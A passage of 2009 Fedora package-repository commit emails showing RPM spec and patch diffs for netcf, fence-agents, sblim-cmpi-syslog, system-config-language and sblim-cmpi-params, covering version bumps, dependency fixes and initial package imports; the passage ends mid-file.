 Name:           netcf
-Version:        0.1.2
+Version:        0.1.3
 Release:        1%{?dist}%{?extra_release}
 Summary:        Cross-platform network configuration library
 
@@ -11,6 +11,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildRequires:  readline-devel augeas-devel >= 0.5.2
 BuildRequires:  libxml2-devel libxslt-devel
+BuildRequires:  libnl-devel
 Requires:       %{name}-libs = %{version}-%{release}
 
 %description
@@ -73,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/netcf.pc
 
 %changelog
+* Tue Oct 27 2009 David Lutterkort <lutter at redhat.com> - 0.1.3-1
+- New version
+
 * Fri Sep 25 2009 David Lutterkort <lutter at redhat.com> - 0.1.2-1
 - New Version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Sep 2009 23:11:21 -0000	1.4
+++ sources	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-635f02db0275ce327db8cb8d5f375566  netcf-0.1.2.tar.gz
+1c4339a44b65d5c1fd808bd107158d14  netcf-0.1.3.tar.gz



From lutter at fedoraproject.org  Tue Oct 27 10:48:17 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Tue, 27 Oct 2009 10:48:17 +0000 (UTC)
Subject: rpms/netcf/devel .cvsignore, 1.4, 1.5 netcf.spec, 1.5, 1.6 sources, 
	1.4, 1.5
Message-ID: <20091027104817.1792C11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/netcf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14608/devel

Modified Files:
	.cvsignore netcf.spec sources 
Log Message:
Version 0.1.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	25 Sep 2009 23:11:21 -0000	1.4
+++ .cvsignore	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-netcf-0.1.2.tar.gz
+netcf-0.1.3.tar.gz


Index: netcf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/devel/netcf.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- netcf.spec	25 Sep 2009 23:11:21 -0000	1.5
+++ netcf.spec	27 Oct 2009 10:48:16 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           netcf
-Version:        0.1.2
+Version:        0.1.3
 Release:        1%{?dist}%{?extra_release}
 Summary:        Cross-platform network configuration library
 
@@ -11,6 +11,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildRequires:  readline-devel augeas-devel >= 0.5.2
 BuildRequires:  libxml2-devel libxslt-devel
+BuildRequires:  libnl-devel
 Requires:       %{name}-libs = %{version}-%{release}
 
 %description
@@ -73,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/netcf.pc
 
 %changelog
+* Tue Oct 27 2009 David Lutterkort <lutter at redhat.com> - 0.1.3-1
+- New version
+
 * Fri Sep 25 2009 David Lutterkort <lutter at redhat.com> - 0.1.2-1
 - New Version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Sep 2009 23:11:21 -0000	1.4
+++ sources	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-635f02db0275ce327db8cb8d5f375566  netcf-0.1.2.tar.gz
+1c4339a44b65d5c1fd808bd107158d14  netcf-0.1.3.tar.gz



From fabbione at fedoraproject.org  Tue Oct 27 10:51:14 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 10:51:14 +0000 (UTC)
Subject: rpms/fence-agents/F-11 fence-agents.spec,1.13,1.14
Message-ID: <20091027105114.AF55611C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15209

Modified Files:
	fence-agents.spec 
Log Message:
Fix Requires: on libvirt/libvirt-client



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/fence-agents.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- fence-agents.spec	21 Oct 2009 11:40:02 -0000	1.13
+++ fence-agents.spec	27 Oct 2009 10:51:14 -0000	1.14
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -27,9 +27,15 @@ Source0: ftp://sources.redhat.com/pub/cl
 
 ## Runtime deps
 Requires: sg3_utils OpenIPMI telnet openssh-clients
-Requires: pexpect net-snmp-utils libvirt-client
+Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
+%if 0%{?fedora} >= 12
+Requires: libvirt-client
+%else
+Requires: libvirt
+%endif
+
 ## Setup/build bits
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -85,6 +91,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
+- Fix Requires: on libvirt/libvirt-client
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
 - New upstream release
 - BuildRequire libxslt and pexpect for automatic man page generation



From fabbione at fedoraproject.org  Tue Oct 27 10:56:54 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 10:56:54 +0000 (UTC)
Subject: rpms/fence-agents/F-10 fence-agents.spec,1.7,1.8
Message-ID: <20091027105654.4AB0F11C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16165

Modified Files:
	fence-agents.spec 
Log Message:
Fix Requires: on libvirt/libvirt-client



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-10/fence-agents.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fence-agents.spec	21 Oct 2009 11:42:54 -0000	1.7
+++ fence-agents.spec	27 Oct 2009 10:56:54 -0000	1.8
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -27,9 +27,15 @@ Source0: ftp://sources.redhat.com/pub/cl
 
 ## Runtime deps
 Requires: sg3_utils OpenIPMI telnet openssh-clients
-Requires: pexpect net-snmp-utils libvirt-client
+Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
+%if 0%{?fedora} >= 12
+Requires: libvirt-client
+%else
+Requires: libvirt
+%endif
+
 ## Setup/build bits
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -85,6 +91,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
+- Fix Requires: on libvirt/libvirt-client
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
 - New upstream release
 - BuildRequire libxslt and pexpect for automatic man page generation



From vcrhonek at fedoraproject.org  Tue Oct 27 11:23:21 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 27 Oct 2009 11:23:21 +0000 (UTC)
Subject: rpms/sblim-cmpi-syslog/devel import.log, NONE,
	1.1 sblim-cmpi-syslog.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091027112321.4A30611C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-syslog/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19848/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-syslog.spec 
Log Message:
Initial import (#502609).


--- NEW FILE import.log ---
sblim-cmpi-syslog-0_7_11-1_fc10:HEAD:sblim-cmpi-syslog-0.7.11-1.fc10.src.rpm:1256642307


--- NEW FILE sblim-cmpi-syslog.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM syslog instrumentation
Name:           sblim-cmpi-syslog
Version:        0.7.11
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel >= 1.5.4
BuildRequires:  sed
Requires:       tog-pegasus >= %{tog_pegasus_version}, sblim-cmpi-base
Requires:       sblim-cmpi-base >= 1.5.4
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Syslog Providers

%package devel
# ^- currently a placeholder - no devel files shipped
Summary:        SBLIM Syslog Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Syslog Development Package

%package test
Summary:        SBLIM Syslog Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Syslog Testcase Files for SBLIM Testsuite

%prep
%setup -q
# removing COPYING, because it's misleading
rm -f COPYING

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
# move libraries to provider dir
mv $RPM_BUILD_ROOT/%{_libdir}/lib[Ss]yslog*.so* $RPM_BUILD_ROOT/%{provider_dir}
# add shebang to the scripts
sed -i -e '1i#!/bin/sh' $RPM_BUILD_ROOT/%{_bindir}/syslog-service.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/runtest_pegasus.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/runtest_wbemcli.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/system/linux/logrecord.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/system/linux/msglogtest.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/system/linux/messagelog.sh

%files
%defattr(-,root,root,0755)
%{_bindir}/syslog-service.sh
%{provider_dir}/lib[Ss]yslog*.so*
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/runtest*
%{_datadir}/sblim-testsuite/test-cmpi-syslog*
%{_datadir}/sblim-testsuite/cim/Syslog*
%{_datadir}/sblim-testsuite/system/linux/Syslog*
%{_datadir}/sblim-testsuite/system/linux/logrecord.sh
%{_datadir}/sblim-testsuite/system/linux/messagelog.sh
%{_datadir}/sblim-testsuite/system/linux/msglogtest.sh
%{_datadir}/sblim-testsuite/system/linux/setting

%define SYSLOG_SCHEMA %{_datadir}/sblim-cmpi-syslog/Syslog_Log.mof %{_datadir}/sblim-cmpi-syslog/Syslog_Service.mof  %{_datadir}/sblim-cmpi-syslog/Syslog_Configuration.mof
%define SYSLOG_REGISTRATION %{_datadir}/sblim-cmpi-syslog/Syslog_Configuration.registration  %{_datadir}/sblim-cmpi-syslog/Syslog_Log.registration %{_datadir}/sblim-cmpi-syslog/Syslog_Service.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SYSLOG_REGISTRATION} -m %{SYSLOG_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{SYSLOG_REGISTRATION} -m %{SYSLOG_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SYSLOG_REGISTRATION} -m %{SYSLOG_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Fri Oct 23 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.7.11-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-syslog/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:12:47 -0000	1.1
+++ .cvsignore	27 Oct 2009 11:23:20 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-syslog-0.7.11.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-syslog/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:12:47 -0000	1.1
+++ sources	27 Oct 2009 11:23:21 -0000	1.2
@@ -0,0 +1 @@
+116aff7a9b26e58aa098c8cb6b54beba  sblim-cmpi-syslog-0.7.11.tar.bz2



From vcrhonek at fedoraproject.org  Tue Oct 27 11:29:32 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 27 Oct 2009 11:29:32 +0000 (UTC)
Subject: rpms/sblim-cmpi-syslog/F-12 sblim-cmpi-syslog.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091027112932.1139F11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-syslog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20475

Modified Files:
	sources 
Added Files:
	sblim-cmpi-syslog.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-syslog.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM syslog instrumentation
Name:           sblim-cmpi-syslog
Version:        0.7.11
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel >= 1.5.4
BuildRequires:  sed
Requires:       tog-pegasus >= %{tog_pegasus_version}, sblim-cmpi-base
Requires:       sblim-cmpi-base >= 1.5.4
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Syslog Providers

%package devel
# ^- currently a placeholder - no devel files shipped
Summary:        SBLIM Syslog Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Syslog Development Package

%package test
Summary:        SBLIM Syslog Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Syslog Testcase Files for SBLIM Testsuite

%prep
%setup -q
# removing COPYING, because it's misleading
rm -f COPYING

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
# move libraries to provider dir
mv $RPM_BUILD_ROOT/%{_libdir}/lib[Ss]yslog*.so* $RPM_BUILD_ROOT/%{provider_dir}
# add shebang to the scripts
sed -i -e '1i#!/bin/sh' $RPM_BUILD_ROOT/%{_bindir}/syslog-service.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/runtest_pegasus.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/runtest_wbemcli.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/system/linux/logrecord.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/system/linux/msglogtest.sh \
$RPM_BUILD_ROOT/%{_datadir}/sblim-testsuite/system/linux/messagelog.sh

%files
%defattr(-,root,root,0755)
%{_bindir}/syslog-service.sh
%{provider_dir}/lib[Ss]yslog*.so*
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/runtest*
%{_datadir}/sblim-testsuite/test-cmpi-syslog*
%{_datadir}/sblim-testsuite/cim/Syslog*
%{_datadir}/sblim-testsuite/system/linux/Syslog*
%{_datadir}/sblim-testsuite/system/linux/logrecord.sh
%{_datadir}/sblim-testsuite/system/linux/messagelog.sh
%{_datadir}/sblim-testsuite/system/linux/msglogtest.sh
%{_datadir}/sblim-testsuite/system/linux/setting

%define SYSLOG_SCHEMA %{_datadir}/sblim-cmpi-syslog/Syslog_Log.mof %{_datadir}/sblim-cmpi-syslog/Syslog_Service.mof  %{_datadir}/sblim-cmpi-syslog/Syslog_Configuration.mof
%define SYSLOG_REGISTRATION %{_datadir}/sblim-cmpi-syslog/Syslog_Configuration.registration  %{_datadir}/sblim-cmpi-syslog/Syslog_Log.registration %{_datadir}/sblim-cmpi-syslog/Syslog_Service.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SYSLOG_REGISTRATION} -m %{SYSLOG_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{SYSLOG_REGISTRATION} -m %{SYSLOG_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{SYSLOG_REGISTRATION} -m %{SYSLOG_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Fri Oct 23 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.7.11-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-syslog/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:12:47 -0000	1.1
+++ sources	27 Oct 2009 11:29:31 -0000	1.2
@@ -0,0 +1 @@
+116aff7a9b26e58aa098c8cb6b54beba  sblim-cmpi-syslog-0.7.11.tar.bz2



From pravins at fedoraproject.org  Tue Oct 27 11:36:39 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Tue, 27 Oct 2009 11:36:39 +0000 (UTC)
Subject: rpms/system-config-language/F-12 s-c-l_530698.patch, NONE,
	1.1 system-config-language.spec, 1.57, 1.58
Message-ID: <20091027113639.C6DB611C00E6@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/system-config-language/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21936

Modified Files:
	system-config-language.spec 
Added Files:
	s-c-l_530698.patch 
Log Message:
* Mon Oct 26 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-3
- fixed 530698


s-c-l_530698.patch:
 Makefile |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE s-c-l_530698.patch ---
diff -rup system-config-language-1.3.3/Makefile system-config-language-1.3.3_mod/Makefile
--- system-config-language-1.3.3/Makefile	2009-09-23 12:29:48.000000000 +0530
+++ system-config-language-1.3.3_mod/Makefile	2009-10-26 16:48:47.955072133 +0530
@@ -27,8 +27,8 @@ install: ${PKGNAME}.desktop
 	mkdir -p $(INSTROOT)$(SECURITY_DIR)
 	mkdir -p $(INSTROOT)$(PKGDATADIR)/pixmaps
 	mkdir -p $(INSTROOT)/usr/share/applications
-	mkdir -p $(INSTROOT)/usr/share/firstboot
-	mkdir -p $(INSTROOT)/usr/share/firstboot/modules
+#	mkdir -p $(INSTROOT)/usr/share/firstboot
+#	mkdir -p $(INSTROOT)/usr/share/firstboot/modules
 	mkdir -p $(INSTROOT)/usr/share/icons/hicolor/48x48/apps
 
 	install src/*.py $(INSTROOT)$(PKGDATADIR)
@@ -40,7 +40,7 @@ install: ${PKGNAME}.desktop
 	install pixmaps/${PKGNAME}.png $(INSTROOT)$(PKGDATADIR)/pixmaps/${PKGNAME}.png
 	install pixmaps/${PKGNAME}.png $(INSTROOT)/usr/share/icons/hicolor/48x48/apps
 	ln -sf consolehelper $(INSTROOT)/usr/bin/${PKGNAME}
-	ln -sf $(PKGDATADIR)/language_gui.py $(INSTROOT)/usr/share/firstboot/modules/language.py 
+#	ln -sf $(PKGDATADIR)/language_gui.py $(INSTROOT)/usr/share/firstboot/modules/language.py 
 	for d in $(SUBDIRS); do \
 	(cd $$d; $(MAKE) INSTROOT=$(INSTROOT) MANDIR=$(MANDIR) install) \
 		|| case "$(MFLAGS)" in *k*) fail=yes;; *) exit 1;; esac; \


Index: system-config-language.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-language/F-12/system-config-language.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- system-config-language.spec	9 Oct 2009 06:08:46 -0000	1.57
+++ system-config-language.spec	27 Oct 2009 11:36:38 -0000	1.58
@@ -1,7 +1,7 @@
 Summary: A graphical interface for modifying the system language
 Name: system-config-language
 Version: 1.3.3
-Release: 2%{?dist}
+Release: 3%{?dist}
 URL: http://fedoraproject.org/wiki/SystemConfig/language
 License: GPLv2+
 Group: System Environment/Base
@@ -19,6 +19,7 @@ Requires: yum >= 2.9.5
 Requires: gtk2 >= 2.6
 Obsoletes: locale_config  <= %{version}
 Patch1:         s-c-l_525040.patch
+Patch2:         s-c-l_530698.patch
 
 %description
 system-config-language is a graphical user interface that 
@@ -27,6 +28,7 @@ allows the user to change the default la
 %prep
 %setup -q
 %patch1 -p1 -b .1-525040
+%patch2 -p1 -b .1-530698
 
 %build
 make %{?_smp_mflags}
@@ -75,15 +77,18 @@ fi
 %{_bindir}/system-config-language
 %dir %{_datadir}/system-config-language
 %{_datadir}/system-config-language/*
-%dir %{_datadir}/firstboot/
-%dir %{_datadir}/firstboot/modules
-%{_datadir}/firstboot/modules/language.py*
+#%dir %{_datadir}/firstboot/
+#%dir %{_datadir}/firstboot/modules
+#%{_datadir}/firstboot/modules/language.py*
 %{_datadir}/applications/system-config-language.desktop
 %{_datadir}/icons/hicolor/48x48/apps/system-config-language.png
 %config(noreplace) %{_sysconfdir}/pam.d/system-config-language
 %config(noreplace) %{_sysconfdir}/security/console.apps/system-config-language
 
 %changelog
+* Mon Oct 26 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-3
+- fixed 530698
+
 * Fri Oct 09 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-2
 - fixed 525040
 



From vcrhonek at fedoraproject.org  Tue Oct 27 11:41:31 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 27 Oct 2009 11:41:31 +0000 (UTC)
Subject: rpms/sblim-cmpi-params/devel import.log, NONE,
	1.1 sblim-cmpi-params-1.2.4-no-abi-params.patch, NONE,
	1.1 sblim-cmpi-params.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091027114131.1E18F11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-params/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23021/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-params-1.2.4-no-abi-params.patch 
	sblim-cmpi-params.spec 
Log Message:
Initial import (#503496).


--- NEW FILE import.log ---
sblim-cmpi-params-1_2_6-1_fc10:HEAD:sblim-cmpi-params-1.2.6-1.fc10.src.rpm:1256643589

sblim-cmpi-params-1.2.4-no-abi-params.patch:
 sblim-cmpi-params-test.sh |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sblim-cmpi-params-1.2.4-no-abi-params.patch ---
--- sblim-cmpi-params-1.2.4/test/sblim-cmpi-params-test.sh.no-abi-params	2004-03-28 19:04:31.000000000 -0500
+++ sblim-cmpi-params-1.2.4/test/sblim-cmpi-params-test.sh	2006-07-06 20:27:39.000000000 -0400
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # Test classes
-CLASSNAMES='Linux_KernelParameter Linux_ABIParameter Linux_FileSystemParameter Linux_VirtualMemoryParameter Linux_NetworkCoreParameter Linux_NetworkIPv4Parameter Linux_NetworkUnixParameter'
+CLASSNAMES='Linux_KernelParameter Linux_FileSystemParameter Linux_VirtualMemoryParameter Linux_NetworkCoreParameter Linux_NetworkIPv4Parameter Linux_NetworkUnixParameter'
 
 for CLASSNAME in $CLASSNAMES; do
    echo "Running tests for $CLASSNAME..."


--- NEW FILE sblim-cmpi-params.spec ---
%define tog_pegasus_version 2:2.6.1-1
%define provider_dir %{_libdir}/cmpi

Name:           sblim-cmpi-params
Version:        1.2.6
Release:        1%{?dist}
Summary:        SBLIM params instrumentation

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
Patch0:         sblim-cmpi-params-1.2.4-no-abi-params.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base

%description
Standards Based Linux Instrumentation Params Providers

%package        test
Summary:        SBLIM Params Instrumentation Testcases
Group:          Applications/System
Requires:       sblim-cmpi-params = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description -n sblim-cmpi-params-test
SBLIM Base Params Testcase Files for SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .no-abi-params

%build
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,0755)
%{provider_dir}/*Parameter.so*
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}

%files test
